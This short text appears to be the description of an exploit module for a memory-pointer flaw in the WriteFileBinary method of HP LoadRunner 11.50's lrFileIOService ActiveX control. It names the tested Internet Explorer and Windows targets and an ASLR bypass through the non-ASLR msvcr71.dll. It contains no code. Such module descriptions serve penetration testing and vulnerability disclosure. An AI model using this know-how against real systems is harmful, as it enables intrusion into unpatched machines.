  This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
  with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method
  where user provided data is used as a memory pointer.This module has been tested
  successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll
  11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is
  used. This one is installed with HP LoadRunner.
